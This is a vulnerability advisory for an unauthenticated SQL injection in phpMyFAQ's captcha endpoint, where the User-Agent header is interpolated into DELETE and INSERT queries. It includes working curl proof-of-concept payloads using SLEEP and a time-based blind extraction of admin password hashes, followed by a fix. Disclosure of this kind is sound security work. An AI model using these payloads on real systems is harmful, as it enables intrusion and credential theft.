Summary

BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() at phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298 and :330 interpolate the User-Agent header and client IP address into DELETE and INSERT queries with sprintf and no escaping. Both methods run on every hit to the public GET /api/captcha endpoint, which requires no authentication. An unauthenticated attacker sets the User-Agent header to a crafted SQL payload and runs SLEEP(), BENCHMARK(), or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at b9f25109): baseline request 147 ms, request with User-Agent: x' OR SLEEP(2) OR 'x 4.09 s (two SLEEP(2) calls, one per vulnerable sink).

Details

phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112 populates two private fields from untrusted HTTP input at construction time:

$this->userAgent = $request->headers->get('user-agent');
$this->ip = $request->getClientIp();

Both fields are then dropped into sprintf() SQL templates without ever touching Database::escape() or a prepared statement.

garbageCollector() at line 298 (called on every captcha request via getCaptchaImage()):

$delete = sprintf(
    "
    DELETE FROM
        %sfaqcaptcha
    WHERE
        useragent = '%s' AND language = '%s' AND ip = '%s'",
    Database::getTablePrefix(),
    $this->userAgent,                                      // unescaped
    $this->configuration->getLanguage()->getLanguage(),
    $this->ip,                                             // unescaped
);
$this->configuration->getDb()->query($delete);

saveCaptcha() at line 330 does the same for INSERT:

$insert = sprintf(
    "INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('%s', '%s', '%s', '%s', %d)",
    Database::getTablePrefix(),
    $this->code,
    $this->userAgent,                                      // unescaped
    $this->configuration->getLanguage()->getLanguage(),
    $this->ip,                                             // unescaped
    $this->timestamp,
);
$this->configuration->getDb()->query($insert);

For comparison, the same file's checkCaptchaCode() at line 472 passes user input through $db->escape() before interpolation. The BuiltinCaptcha author knew about escape(); the two sinks above skip it.

Reachability

phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39 exposes the vulnerable flow as an unauthenticated GET:

#[Route(path: 'captcha', name: 'api.private.captcha', methods: ['GET'])]
public function renderImage(): Response
{
    if (!$this->captcha instanceof BuiltinCaptcha) {
        return new Response('', Response::HTTP_NOT_FOUND);
    }
    // ...
    $response->setContent($this->captcha->getCaptchaImage());
    return $response;
}

getCaptchaImage() calls saveCaptcha() and garbageCollector() unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting GET /api/captcha injects into two queries at once.

Impact surface

MySQL's query() method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with SLEEP() or BENCHMARK() still works, and the attacker can:

• Read any row the web user has access to through bit-by-bit IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0) chains. The faquser table holds auth_source, login, and bcrypt password hashes for every registered user; faqconfig holds the main.phpMyFAQToken admin token and SMTP credentials.
• UPDATE / DELETE arbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example, User-Agent: ' OR 1=1 -- deletes the entire faqcaptcha table and locks out legitimate users).

Proof of Concept

Tested against phpMyFAQ 4.2.0-alpha at master b9f25109fddb38eee19987183798638d07943f92, default install (MariaDB 10.6, Apache, PHP 8.4) on http://target:8090.

Step 1: Baseline request with a clean User-Agent:

time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \
  -A "Mozilla/5.0" \
  "http://target:8090/api/captcha?nocache=1"
# HTTP 500 0.147s

Step 2: Injection with SLEEP(2) in the User-Agent:

time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \
  -A "x' OR SLEEP(2) OR 'x" \
  "http://target:8090/api/captcha?nocache=2"
# HTTP 500 4.093s

The 4.09 s response time equals two SLEEP(2) executions, confirming the payload reached both the DELETE in garbageCollector() and the INSERT in saveCaptcha().

Step 3: Single-bit boolean extraction using time:

# leaks first character of the admin hash; 2s = 'a', 0s = otherwise
curl -sS -o /dev/null -A "x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x" \
  "http://target:8090/api/captcha?nocache=3"

Iterating position and character enables full credential exfiltration without any authentication.

Impact

Unauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in faqconfig, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of /api/captcha.

Recommended Fix

Route both fields through Database::escape() before interpolation, or replace the sprintf + query() pattern with a prepared statement.

phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325:

$db = $this->configuration->getDb();
$userAgent = $db->escape($this->userAgent);
$language = $db->escape($this->configuration->getLanguage()->getLanguage());
$ip = $db->escape($this->ip);

$delete = sprintf(
    "DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'",
    Database::getTablePrefix(),
    $userAgent,
    $language,
    $ip,
);
$db->query($delete);

Apply the same change to saveCaptcha() at line 330 and to every other sprintf-into-SQL path in the file. A targeted audit for sprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETE across src/phpMyFAQ/ will surface the rest.

Found by aisafe.io